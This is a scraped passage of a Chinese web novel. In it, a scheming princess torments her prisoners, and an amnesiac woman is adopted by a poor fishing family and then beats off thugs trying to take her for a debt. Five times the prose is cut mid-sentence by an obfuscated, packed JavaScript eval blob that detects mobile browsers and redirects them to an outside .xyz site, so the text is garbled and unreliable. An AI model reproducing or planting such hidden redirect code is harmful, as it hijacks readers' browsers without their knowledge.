青川的抽搐渐渐微弱,最终头一歪,在浓重的血腥气里彻底晕死过去。 满地鲜血,刺目惊心。 那片红色像一根烧红的针,狠狠扎进了裴应见的眼睛里。 嗡—— 他的脑中,似乎有什么东西断裂了。 剧痛如山崩海啸,瞬间席卷了他全部的意识。 他再也站不住,双手死死抱住头,喉咙里发出一声压抑到极致的闷吼,直挺挺地向后倒去,在地上痛苦地翻滚、痉挛。 月娘脸上的笑意,终于淡了些。 她看着在地上抽搐的两个男人,忽然觉得有些无趣。 高潮来得太快,也去得太快。 她撇了撇嘴,对角落里的侍卫吩咐道:“去请大夫来。记住,两个都不能死。” …… 裴应见被抬回了柴房。 月娘仍坐在弥漫着血腥味的地牢里,想起裴应见那张因痛苦而扭曲、却仍在昏迷中紧皱眉头的脸。 真没意思。 她开始琢磨,下一个该怎么玩。 摧毁他的忠义,似乎已经差不多了。 那……还要摧毁他的什么别的呢? 她忽然想起了云承月。 他们之间的关系,恐怕不止是大夫与病患那么寻常,她曾经亲眼见过他和云承月关系亲近。 裴应见可是为了救云承月而奋不顾身呢。 他们一定有其他的关系。 绝不只是在皇帝面前展露的那样。 可云承月已经连同镇国侯府那些余孽一样,自从侯府生变就都像是人间蒸发了。 到哪里去找? 她想了想,拍手叫人。 很快,一道黑影无声无息地出现在她身后。 “郡主。”来人声音平板,像块不会发声的石头。 “不惜一切代价,把神医云承月找出来。” “是!” 但得了命令的人却还不走。 月娘头也未回:“何事?” “主人命我提醒郡主,‘棋局’已开,新的任务等待郡主执行,勿在闲子身上,耗费太多心神。”黑影冷冷道。 月娘的眼神瞬间冷了下来。 这是在提醒她该去为她的主人卖命了。 这些天她尊享郡主之尊荣,可是在她的主人面前,她也不过只是一条会咬人的狗罢了。 现在主人发出了任务,她就要立刻去咬人,不得违抗和延误。 她转过头,看着这个名为玄七的影卫。 他是主人从大宅那边派来协助她的人,实则也是监视。 “玄七,”她扯了扯嘴角,露出一个凛冽的笑,“管好你的嘴,做好你的事。我的‘玩意儿’,还轮不到你来置喙。” “属下不敢。”玄七垂下眼帘,语气却没有任何变化,“只是提醒郡主,勿忘正事。” “滚。”月娘不耐烦地挥了挥手,“去给我查,云承月,还有镇国侯府的余孽,都藏在何处。我要活的。做不好,提头来见!” “是!” 玄七说完,却还是没有走。 地牢里的血腥气,浓得化不开,黏稠地附着在墙壁和呼吸里。 月娘看着地上那滩已经开始发暗的血迹,莫名觉得有些焦躁。 角落的阴影里,玄七的身形像一块没有温度的墓碑,静静立着。 “郡主对此人……似乎格外上心。” 玄七忽然道。 月娘恼怒地皱起眉头: “你在教我做事?” “属下不敢。只是好奇,这世间的玩物何其多,郡主为何独独对他如此耐心。莫非是……” 他顿了顿,那双藏在阴影里的眼睛似乎在审视着她,“……看上他了?” 空气,仿佛凝固了一瞬。 随即,月娘发出一声短促的、像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他猛地蜷缩起来,像只被重创的野兽,双手死死抱住头,用额头去撞击身下坚硬的土地,仿佛这样就能驱散脑中那地狱般的画面。 他亲手…… 他亲手割掉了自己曾经出生入死的兄弟的舌头。 胸口像是被巨石碾过,一股腥甜猛地涌上喉头。 “噗——” 他剧烈地呛咳着,一口鲜血喷洒在身前的茅草上,殷红刺目。 剧痛和自我憎恶的海啸,几乎要将他的神智彻底淹没。 可就在这片黑暗的漩涡最深处,就在他痛得几乎要再次昏死过去的瞬间。 忽然间,他好似有所感应。 那是一种极其微弱,却又无比清晰的感觉。 从遥远的、东南的方向传来。 不是声音,不是景象,而是一种牵引。 像一根看不见的线,穿透了所有的痛苦与混沌,轻轻地、固执地,拨动了他灵魂深处的某根弦。 那是什么? 他抬起头,在昏暗的柴房里,望向一片黑暗的东南方。 那里,到底有什么? 然而这个念头,只来得及在他脑中闪过一瞬。 下一刻,翻涌的痛苦便再次将他吞噬。 他身子一僵,眼中的光亮迅速黯淡下去,重重地倒回草堆里,又一次失去了意识。 …… 大雍,昭德十三年,秋。 东南沿海的渡口村,咸湿的海风已经带上了凉意。 村口的歪脖子榕树下,几个妇人正凑在一处,一边搓洗衣裳,一边说着东家长西家短。 河水突然浑浊,卷着上游冲下来的枯枝败叶。 “哎,你们看,那水里飘着的是什么?”眼尖的张家媳妇忽然停了手里的棒槌,指着河中央。 众人顺着她指的方向望去,只见浑黄的水面上,确有个黑乎乎的人影载沉载浮,顺着水流往下漂。 “天爷!该不是哪个想不开的……” “别是淹死的水鬼,来找替身吧!” 这话一出,方才还热闹的河岸边顿时静了下来,妇人们脸上都露出惧怕的神色,下意识地往后退了几步。 就在这时,村里最壮实的后生石头,扛着渔网从田埂上路过。 他瞧见河边的骚动,几步跑了过来:“婶子们,咋了?” “石头,快看!水里……水里有个人!” 石头定睛一看,二话不说,将渔网往地上一扔,噗通声就跳进了冰凉的河水里。 他水性极好,像条泥鳅,很快就游到了那人影旁边,奋力将其往岸边拖。 人被拖上了岸。 是个年轻女子。 可当看清那女子的穿着时,围上来的村民全都倒吸口凉气。 那是什么衣裳? 上身是无袖的短褂,露出两条雪白得晃眼的胳膊,下身更是短得离谱,堪堪遮到膝盖。 布料也古怪,光滑紧绷,从未见过。 湿透的衣物紧紧贴在身上,勾勒出的身形让在场的妇人们都红了脸,纷纷啐骂起来。 “不知羞耻!” “这哪是正经人家的姑娘会穿的!” 王家婶子胆子最大,平日里也最是刻薄,她捡起根木棍,警惕地戳了戳地上那女人的胳膊,尖声道: “我看就是个水里的妖精,被石头给捞上岸了!快,打死她,免得祸害咱们全村!” 她的话音刚落,地上的女子忽然剧烈地咳嗽起来,吐出几口河水,悠悠转醒。 她睁开眼,那双眸子,清澈得像山间的泉水,带着初醒的茫然。 她看着周围一张张充满敌意和恐惧的脸,没有害怕,反而流露出几分困惑与担忧。 “妖精醒了!打死她!”王家婶子被那清澈的眼神看得心头发虚,愈发认定是妖物,举起木棍就要砸下去。 几个半大的孩子在人群里挤着看热闹,其中个虎头虎脑的男娃被后面的人一推,脚下不稳,眼看就要摔倒,头正对着王家婶子挥起的木棍。 “小心!” 那女人几乎是下意识地喊出声,顾不得自己,挣扎着侧身翻滚,用自己瘦弱的后背,挡在了那孩子和木棍之间。 “砰”的一声闷响。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16079825|165820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 木棍结结实实地砸在了她的背上。 她痛得闷哼,脸色煞白,可那双清澈的眼睛,却第一时间望向那个被吓傻了的孩子,声音虚弱却温柔:“你……没伤着吧?” 所有人都愣住了。 包括举着木棍的王家婶子,和救人上岸的石头。 没人想得到,这个被他们当成妖物的“怪女人”,在自身难保的关头,第一反应竟是去救别人的孩子。 那虎头虎脑的男娃“哇”的一声哭了出来,跑回了自己娘的怀里。 场面一时僵持住。 “都干什么呢!聚在这儿像什么样子!”村长拄着拐杖,在旁人的搀扶下,气喘吁吁地赶了过来。 王家婶子立刻像找到了主心骨,告状道:“村长!石头从河里捞上来个妖精!您看她穿的,就不是个人样!” 村长浑浊的眼睛打量着地上的女子,又看看她苍白的脸和依旧护着孩子方向的姿势,眉头紧紧皱起。 他活了这大把年纪,见过逃难的,见过落魄的,却从没见过这样的人。 她的眼神太干净了。 干净得……让人不忍心去怀疑。 可她的穿着,又实在太过惊世骇俗。 村长刚想开口询问一下她的来历,那女子却不知道是因为受寒还是受伤,竟眼睛一闭,昏了过去。 “先把人关到祠堂后面的柴房去。”村长沉吟半晌,敲了敲拐杖,“等她醒了问明来路,再做计较。不许任何人靠近,更不许伤她!” 女子被关进了阴暗的柴房。 冰冷的石板地,堆着发霉的柴草。 不知过了多久,她再次睁开眼。 她坐起身,环顾四周,眼中没有对自己处境的恐惧。 她只是抬起手,看着自己纤细白皙的五指,眼神里满是陌生。 她是谁? 为什么会在这里? 她想不起来。 脑子里空空荡荡,唯有胸口盘踞着一种奇怪的感觉。 那是一种很温暖、很柔软的情绪,让她不由自主地去关心外面那些用石头砸她、用木棍打她的人。 他们……好像很害怕。 第364章 怎么处置她 她想。 他们不该害怕的。 黑暗中,她蜷缩起身体,将脸埋进膝盖。 她不为自己担忧,却为那些村民脸上的恐惧,感到了一丝丝的心疼。 …… 渡口村的祠堂里,气氛沉闷得像暴雨前的天空。 男人们或蹲或站,就着初升的晨光,一张张脸上满是愁色与猜忌。 村长坐在太师椅上,手里的旱烟杆敲了敲桌子,发出“梆梆”两声闷响。 “都说说吧,河里捞上来的那个女人,到底怎么处置?” “还能怎么处置!”王家婶子的男人,村里的屠户王二麻子,瓮声瓮气地嚷道,“来路不明,穿着邪乎,我看就是个祸害!扔回河里去,省得给村子招灾!” 这话得了不少人附和。 他们都是靠海吃海的苦哈哈,对未知的事物,骨子里就透着敬畏与排斥。 “可她……她救了狗蛋。”角落里,一个弱弱的声音响起。 是狗蛋的爹,他看着畏缩,话却说得实在,“要不是她挡那一下,我家娃的脑袋就得开瓢。” 祠堂里安静了一瞬。 这时,祠堂的侧门被推开,村里的两个壮硕女人押着那个女子走了进来。 她换上了一身粗布衣裳,是村长媳妇找出来的旧衣,虽不合身,却也遮住了那身惊世骇俗的“奇装”。 她头发还湿着,贴在苍白的脸上,唯独那双眼睛,在刚刚升起的日头下,清亮得不染尘埃。 她不吵不闹,只是安静地看着这满屋子的男人,眼神里没有惧怕,只有一片干净的迷茫。 村长清了清嗓子,问道: “你……还记得自己是谁,从哪儿来么?” 女子摇了摇头,声音有些沙哑,却很清晰: “不记得了。什么都想不起来。” 一片哗然。 连最后一丝侥幸都破灭了。 一个连自己是谁都不知道的女子,不是妖邪,就是天大的麻烦。 “不能留!绝对不能留!”王二麻子又叫嚷起来。 村长也犯了难。、 赶出去,孤女怕是活不了几天。 留下来,谁家愿意多张嘴吃饭,还是个不清不楚的麻烦? 就在这僵持不下的当口,那女子忽然抬起头,目光扫过众人,最后落在村长身上。 “我什么活都能干。”她认真地说,“洗衣,做饭,砍柴,织网……我都可以学。我吃得不多,只要有个能遮雨的地方,有口饭吃就行。” 她的话让所有人都愣住了。 他们设想过她会哭闹,会哀求,却没想过她会如此平静地,为自己求一条生路。 可即便如此,依旧无人应声。 家家户户的日子都过得紧巴,谁敢揽这个麻烦? 良久,一个一直沉默着的,皮肤黝黑的汉子站了起来。 是石头他爹,顾老实。 “村长,要不……就让她来我家吧。”顾老实的声音不大,却像块石头丢进了水里,惊起一片涟漪。 “老顾!你疯了!” “你家都快揭不开锅了,还养个外人?” “是啊,你家已经三个小子了,饭量跟狼崽子似的,再多张嘴……” 顾老实没理会周围的议论,只是看着那女子,浑浊的眼里透着一股执拗的善意。 他顾家打从太爷爷辈起就只有儿子,到了他这,婆娘一连生了三个儿子,没一个女儿,两口子嘴上不说,心里却念叨了一辈子。 而且他总觉得,这姑娘的眼神,干净得让人心疼。 …… 顾家的院门被推开。 顾老实领着那女子进了屋。 屋里,刚从海边回来的顾家老大顾大山,和老二顾小川,还有昨天救了她的老三顾石头,三兄弟正围坐在桌边,就着咸菜喝着稀粥。 昨天就是石头下水救的她,他自然认得她。 大哥二哥也都听说了这件事,听闻今天早晨村长找大家去祠堂,就是为了商议怎么处置她的这件事。 看到父亲竟把这怪异女子领回了自己家,三兄弟都停下了筷子。 顾大娘从灶房里端着一碗热气腾腾的米粥出来,看到她,也是一愣。 顾老实以为家人也会排斥,正想开口解 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16086299|165820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 释,灶房里端着碗出来的顾大娘却抢了先。 她看到形容憔悴、衣衫单薄的姑娘,那点惊诧立刻就化成了满眼的怜惜,三步并作两步走上前。 “哎哟我的闺女啊,你受苦了!” 桌边的三兄弟的反应也各不相同。 救人的老三顾石头“腾”地一下站了起来,脸瞬间涨得通红,手脚都不知道往哪儿放,只是结结巴巴地对着他爹说:“爹……她、她没事了?” 老二顾小川则促狭地眯起眼,手肘捅了捅身旁的大哥,咧嘴一笑,扬声道: “哟,这就是三儿从河里捞上来的‘水鬼’?看着细皮嫩肉的,倒不像,我看更像个仙女妹妹。” 一直沉默着的大哥顾大山,只是抬眼平静地扫了她一眼,目光在她还滴着水的发梢和苍白的嘴唇上停了一瞬。 然后便默默地拿起身边一张干净的矮凳,往桌边空着的位置放了放,又将自己面前那碗还没动过的、米粒最多的粥推了过去。 一个动作,比什么话都有用。 顾老实到了嘴边的话又咽了回去,心里那块石头一下落了地。 顾大娘已经拉住了她冰凉的手,不由分说地将手里那碗热粥塞进她手里,语气是毋庸置疑的心疼:“闺女,快,喝点热的暖暖身子。” 女子捧着那碗滚烫的米粥,热气氤氲了她的眼。 她不知道自己是谁,却在这一刻,感觉到一种从未有过的温暖。 一碗粥见了底,身子也渐渐回暖。 女子捧着空碗,有些不知所措。 顾大娘看她那副拘谨模样,心疼得不行,伸手就想去摸摸她的头,却又觉得唐突,手在半空顿了顿,最后落在她的肩膀上,轻轻拍了拍。 “闺女,别怕,以后这就是你家。” 顾老实一直闷头抽着旱烟,烟雾缭绕中,看不清他的表情。 他听了婆娘的话,把烟杆在桌腿上磕了磕。 他抬起头,浑浊的眼睛看着女子,那股子执拗的善意又浮了上来。 他跟顾大娘交换了一个眼神,那眼神里有几十年的默契,有共同的期盼,也有下定决心的郑重。 第365章 阿禾妹妹 “丫头,”顾老实开口了,声音比在祠堂时还要沙哑几分,“你看……我们老顾家,穷是穷了点,但多你一双筷子,还挤得出来。你也没个去处,我们老两口……又一直想要个闺女。” 他顿了顿,似乎在斟酌用词,最后索性把心一横,直白地问了出来:“你要是不嫌弃,就认我们当爹娘,给我们当个闺女,成不?” 屋里瞬间安静下来,只有灶膛里柴火偶尔发出的“噼啪”声。 女子猛地抬起头,难以置信地看着顾老实和顾大娘。 她想过自己会成为一个下人,一个累赘,却从未想过,会有人愿意给她一个“家”。 顾大娘见她不说话,只是一双眼睛里迅速蓄满了水汽,生怕她不乐意,连忙补充道: “你要是不愿意,也没事!就当个亲戚住下,我们……” 话还没说完,女子捧着碗,膝盖一软,直直地就跪了下去,额头重重地磕在冰凉的泥地上,发出“咚”的一声闷响。 “爹……娘。” “好!好!我顾家有闺女了!”顾大娘高兴得眼圈都红了,一把拉住她的手,像是怕她跑了似的,拍了又拍。 顾老实看着她,那张饱经风霜的脸上也露出了难得的笑意。 他沉吟片刻,说道:“既然进了我顾家的门,就是一家人。得有个名儿。咱们是庄稼人,就叫……阿禾吧。希望你往后的日子,能像田里的禾苗一样,扎下根,好好长。” 阿禾。 女子在心里默念着这个名字,茫然的眼中似乎有了一点光。她用力地点了点头。 “阿禾妹妹!”老二顾小川最先叫出了口,他促狭地笑着,“以后谁敢欺负你,跟二哥说,二哥帮你揍他!” 旁边的老三顾石头脸更红了,低着头,只敢用眼角偷偷瞥她,嘴里小声地跟着叫了句:“……阿禾。” 大哥顾大山依旧沉默,却默默地将自己那碗还没动过的、米粒最多的粥推到了阿禾面前,又把一双干净的筷子塞到她手里,动作笨拙,却透着不容拒绝的关怀。 …… 顾家收养了一个来路不明的漂亮姑娘,这事像风一样传遍了渡口村。 村民们见了顾家人,嘴上不说,眼神里却满是揶揄。 “老顾家这是捡了个童养媳回来啊。” “也不怕是个扫把星,把家里的运道都扫没了。” 闲言碎语不少,可顾家四父子却像是筑起了一道墙,将阿禾护在里头。 大哥顾大山沉默寡言,却会把最大最肥的鱼肉默默夹到她碗里。 二哥顾小川性子活泛,总爱逗她笑,教她分辨各种渔网的用法。 三哥顾石头最是腼腆,每次跟她说话都会脸红,却总记得把晒干的、甜丝丝的鱼干偷偷塞给她。 阿禾学得很快,不过几日,家里的活计便做得有模有样,顾大娘脸上的笑容也多了起来,直夸自己是多了个贴心的小棉袄。 这日午后,阿禾正在院里晾晒渔网,顾家兄弟出海未归,顾家老两口去田里看护庄稼。 院子里一片安宁。 砰——! 大门却被人一脚踹开。 三个流里流气的男人晃了进来,为首的正是村里有名的泼皮无赖,王二癞子。 他斜着眼,一眼就看到了院里的阿禾,眼神轻佻地在她身上打了个转。 “哟,这就是我姐夫新认的干闺女?长得还真水灵。”他身后两个混混跟着淫笑起来。 阿禾皱起眉,站起身,将晾网的木杆横在身前。 “你们是谁?闯进别人家里想干什么?” “干什么?”王二癞子嘿嘿一笑,从怀里掏出一张皱巴巴的纸,直接甩在院中的石桌上,“欠债还钱,天经地义!你那好爹,欠了我一百两银子,今儿个该还了!” 一百两! 阿禾的心猛地一沉。 她虽不懂这里的物价,却也知道对于这个清贫的家,这绝对是个天文数字。 就在这时,顾老实和顾大娘匆匆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16086300|165820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赶了回来,看到王二癞子,两人的脸“唰”地就白了。 “二……二癞子,你怎么来了……”顾大娘的声音都在发抖。 那是她的亲弟弟,从小就是十里八乡有名的混混无赖,什么恶事都做的那种。 “姐,我怎么来了?”王二癞子皮笑肉不笑地指着那张借据,“三年前爹病重,你们借的十两救命钱,利滚利,现在连本带息,给我一百两!今天拿不出来,我就……嘿,就把你这水灵灵的闺女,带走抵债!” 顾老实气得浑身发抖,指着他骂道:“王二!你……你还是不是人!那是你亲爹!你不管就算了,还跟我要钱,还利滚利……” “亲爹也得还钱!”王二癞子一脚踩在板凳上,面露凶光,“白纸黑字写的清清楚楚,你想抵赖不成?少废话!给钱,还是给人,你们自己选!” 屋外的阳光正好,可顾家的小院里,却像是瞬间被乌云笼罩,一片冰冷与绝望。 “你放屁!”顾老实气得眼眶通红,干裂的嘴唇哆嗦着,“当初你爹病得要**,你人影都见不着一个!是我和你姐,求爷爷告奶奶,才从牙缝里省出钱来给他请大夫!你现在倒有脸来要钱?” “我怎么没脸?”王二癞子把脖子一梗,露出颈上青筋,活像只斗胜了的公鸡,“借条上白纸黑字写着你顾老实的名字,按着你的手印!少**废话,今天不给钱,这闺女我就领走了!我瞧着她细皮嫩肉的,卖到城里的窑子里,一百两怕是不止呢!” “你……你这个畜生!”顾大娘气得眼前发黑,指着王二癞子的鼻子,浑身都在抖,“我是你亲姐!你怎么能说出这种猪狗不如的话!” “亲姐?”王二癞子嗤笑一声,眼神里满是鄙夷,“亲姐就不会眼睁睁看着我穷得叮当响,自己倒捡了个便宜闺女回来养着?我告诉你,今天这人,我要定了!” 他说着,竟真的朝阿禾伸出手去。 “你敢!” 顾老实怒吼一声,抄起墙角的扁担就冲了上去。 第366章 她出手了 可他毕竟年纪大了,又常年劳作亏了身子,哪里是三个年轻泼皮的对手。 王二癞子身后的两个混混狞笑着迎上来,一人抓住扁担,另一人一脚就踹在顾老实的肚子上。 “砰”的一声闷响,顾老实整个人像只破麻袋,重重摔在地上,半天没能爬起来。 “老头子!”顾大娘发出一声凄厉的尖叫,扑了过去。 王二癞子却一把揪住她的头发,将她狠狠向后一拽,脸上露出不耐烦的凶光。 “一边儿待着去!” 啪! 清脆的耳光声,响彻了整个院子。 顾大娘被打得偏过头去,嘴角立刻见了血。 她没有哭,只是用一双燃烧着愤怒和绝望的眼睛,死死瞪着自己的亲弟弟。 “快跑!阿禾!快跑!”她用尽力气,朝还愣在原地的阿禾嘶吼。 阿禾脑中一片空白,身体却先于思想动了起来,转身就想往院外跑。 可大门早被另一个混混堵死。 王二癞子甩开顾大娘,搓着手,一脸淫笑地朝阿禾逼近。 “跑?小美人,你能跑到哪儿去啊?乖乖跟了爷,保你吃香的喝辣的……” 他的话还没说完,被打倒在地的顾大娘竟不知从哪儿来的力气,猛地扑上来,死死抱住了他的腿。 “你别碰我闺女!你这个畜生!我跟你拼了!” “滚开!”王二癞子被她缠得心烦,抬脚就朝她背上狠狠踹去。 砰!砰! 一下,又一下。 顾大娘死不松手,只把头埋在他腿间,发出野兽般的呜咽,用自己佝偻的脊背,为阿禾筑起最后一道脆弱的屏障。 就在这时—— “王二!你这个畜生!” 一声暴喝如平地惊雷,从院外炸响。 是顾家三兄弟回来了。 顾大山、顾小川、顾石头三人刚走到巷口,就听见了院里的动静,此刻看到母亲被打,父亲倒地,三人眼睛瞬间就红了。 顾石头最先冲了进来,看到母亲嘴角的血,那张平日里一说话就红的脸,此刻涨成了猪肝色,二话不说,一拳就朝离他最近的混混脸上砸去。 顾小川和顾大山也紧随其后,怒吼着扑向王二癞子。 小院里顿时乱作一团。 拳脚相加,闷响不断。 顾家三兄弟都是常年在海上讨生活的汉子,力气大,身板也结实。 可王二癞子这伙人是街头打架的老手,招式阴狠,专往人下三路招呼。 没几个回合,顾家兄弟便落了下风。 顾小川的嘴角被打破了,血顺着下巴直流。 顾石头年轻气盛,却被对方一脚绊倒,额头重重磕在石桌角上,鲜血一下子就涌了出来。 “石头!” 顾大娘的哭喊声都变了调。 阿禾看着眼前的一切,心像是被一只无形的手紧紧攥住,痛得无法呼吸。 这个家,给了她名字,给了她温暖。 可现在,这个家,正在因为她而流血。 顾老实挣扎着爬起来,和顾大娘一起,将她死死护在身后,还在推她:“跑!阿禾,快跑!别管我们!” 跑? 她能跑到哪里去? 她看着满脸是血,却依旧像头小豹子一样往前冲的顾石头。 看着被两个混混按在地上,依旧死死护着弟弟的顾大山和顾小川。 看着那两个用自己血肉之躯挡在她身前的老人。 不。 不能再这样下去了。 “住手!” 阿禾忽然大喊出声,声音清亮,却带着一丝不易察觉的颤抖。 混乱的场面为之一顿。 所有人都看向她。 在满院的狼藉与血色中,那姑娘挺直了脊梁,苍白的脸上是一种决绝的平静。 “别打了。”她看着王二癞子,一字一句,清晰无比,“我……跟你们走。” “阿禾!” “闺女!不行!” 顾家老两口的声音里满是惊骇与绝望。 王二癞子则愣了一下,随即爆发出狂喜的大笑。 “哈哈哈!好!还是小美人识时务!早这样不就完了!” 他得意洋洋地推开面前的顾小川,径直走向阿禾,伸出那只油腻的手,就要去捏她的脸蛋。 “来,让爷好好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16086301|165820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瞧瞧……” 他的指尖,即将触碰到阿禾细腻的皮肤。 然而,就在这一瞬间。 变故陡生。 没有人看清阿禾是怎么动的。 只见她身形微微一侧,那只伸向她的手腕,被她反手扣住。 紧接着,一个干净利落的过肩摔。 砰——! 一声比之前任何一次都要沉重的巨响。 前一刻还嚣张无比的王二癞子,像个断了线的风筝,整个人被掀翻在地,后脑勺结结实实地磕在了青石板上,连哼都来不及哼一声,脑袋一歪,躺倒在地。 整个院子,死般寂静。 所有人都目瞪口呆地看着这匪夷所思的一幕。 日光下,那名唤阿禾的女子,静静地站在院中,还保持着方才发力的姿势。 她的眼神,不再是平日的温和与茫然,而是透着一种冰冷的、令人心悸的陌生。 仿佛沉睡的利刃,于此刻,骤然出鞘。 所有人都像是被施了定身法,眼珠子瞪得溜圆,嘴巴张着,却发不出半点声响。 顾小川那张总是挂着促狭笑意的脸,此刻的表情像是见了鬼。 顾石头扶着被磕破的额头,血顺着眉骨流下来,他却浑然不觉,只是傻傻地看着那个站在院子中央,身形单薄却透着一股说不出气势的阿禾。 就连被打倒在地的顾老实和嘴角带血的顾大娘,也忘了身上的疼痛,满眼都是不敢置信。 这片凝固的寂静,被一声痛苦的呻吟打破。 王二癞子晃了晃脑袋,从地上挣扎着爬了起来,后脑勺的剧痛和当众出丑的羞辱,让他那张无赖的脸涨成了猪肝色。 “臭娘们……你**敢摔我?!”他啐出一口带血的唾沫,目露凶光,像一头被激怒的疯狗,挥着拳头就朝阿禾脸上砸去,“老子今天不打死你……” 拳风呼啸而至。 顾家人的心都提到了嗓子眼。 阿禾却没退,甚至没躲。 在那拳头即将触及她面门的瞬间,她的身体以一种违背常理的角度微微一侧,让过拳锋,右手闪电般探出,扣住了王二癞子挥来的手腕。 咔嚓! 第367章 阿禾住手 一声令人牙酸的骨骼脆响。 王二癞子那句“打死你”的狠话,变成了一声不似人腔的凄厉惨嚎。 阿禾没有停。 她扣着他脱臼的手腕,顺势向下一拧,同时膝盖狠狠上顶,正中王二癞子柔软的腹部。 “呃——” 王二癞子疼得弓成了只煮熟的虾米,隔夜饭都险些吐出来。 阿禾松开手,他便软绵绵地瘫了下去。 可没等他倒地,她抬起一脚,精准地踹在他的膝盖窝。 扑通。 王二癞子双膝一软,直挺挺地跪在了地上,正对着顾老实和顾大娘的方向。 整个过程行云流水,快得让人眼花缭乱,没有一丝多余的动作,只有纯粹的、令人胆寒的效率。 “还愣着干什么!上啊!”王二癞子跪在地上,疼得冷汗直流,还不忘冲着自己那两个已经看傻了的同伙嘶吼。 那两个混混如梦初醒,眼见自家老大被一个弱女子摔得半死不活,脸上羞辱与凶恶交织,怪叫一声,舍了顾家兄弟,一左一右朝阿禾扑来! 顾家三兄弟本就勉力支撑,此刻见二人合围阿禾,更是急红了眼,怒吼着想要上前,却被对方缠斗的招式绊住,一时竟脱不开身。 然而,那两个混混的合围,在阿禾面前,却显得像个笑话。 左边那人一记黑虎掏心,拳头还未到,阿禾已像片没有重量的叶子,向旁飘开半步,恰好让过拳锋。 同时,她手肘闪电般向上一顶,正中那人腋下软肋。 那混混只觉半边身子一麻,力气瞬间被卸了个干净,攻势顿时瓦解。 另一边的混混见状,一脚狠辣地朝阿禾小腿扫来。 阿禾却看也不看,左脚为轴,身子猛然一旋,右腿带起一道凌厉的风,后发先至,精准地踢在了那混混的膝盖外侧。 咔嚓! 一声令人头皮发麻的骨裂声响彻小院。 那混混的惨叫卡在喉咙里,整条腿以一个诡异的角度弯折,抱着腿就栽倒在地,疼得满地打滚。 解决完一人,阿禾回身,面对着那个因腋下剧痛而动作迟滞的混混。 她没有丝毫停顿,欺身而上,并指如刀,直插对方双目! 那狠戾决绝的招式,带着一股不将人致残不罢休的凛冽杀意,看得顾家人心胆俱裂。 那混混吓得屁滚尿流,闭眼怪叫。 “阿禾!住手!”顾大娘嘶喊起来。 那凌厉的指风,在距离混混眼皮不到半寸的地方堪堪停住。 阿禾手势一变,手刀转而向下,重重劈在他的后颈。 “砰”的一声闷响,那混混连哼都来不及哼一声,便双眼翻白,软绵绵地瘫倒在地,彻底不省人事。 整个过程,不过几个呼吸之间。 方才还凶神恶煞的两个壮汉,此刻一个断腿哀嚎,一个昏死在地。 三兄弟还保持着格挡的姿势,可他们的对手,已经没了。 他们看着眼前这砍瓜切菜般的一幕,脑子里一片空白,只剩下无尽的震惊。 这边,阿禾转头,看着还跪在地上涕泪横流的王二癞子,那双清澈的眸子里,依旧是那种冰冷的、陌生的神色。 她缓缓抬起脚,似乎准备朝着他的腿踩下去。 而看到了她的厉害的顾家人,毫不犹豫地相信,她这一脚下去,王二癞子的腿这辈子就废了! “阿禾!” 这一次,是顾老实发出的嘶吼,声音里充满了惊恐。 阿禾顿了顿,抬起的脚在半空中停了下来。 她站在院中,看着眼前三人。 平日里横行乡里的泼皮们,此刻却像是见了索命的阎王,瘫在地上,连滚带爬地往后缩,脸上是毫不掩饰的恐惧。 整个小院,再次陷入一片诡异的寂静。 风吹过,卷起地上的尘土。 “阿禾……”顾大娘颤抖着声音,小心翼翼地叫着她。 听到这个名字,阿禾的身子微不可察地僵了一下。 她缓缓地、仿佛带着几分迟滞地,垂下双手。 那股自她身体里涌出的、仿佛与生俱来的力量正如同潮水般退去。 取而代之的,是巨大的茫然与困惑。 她低下头,看着自己的双手。 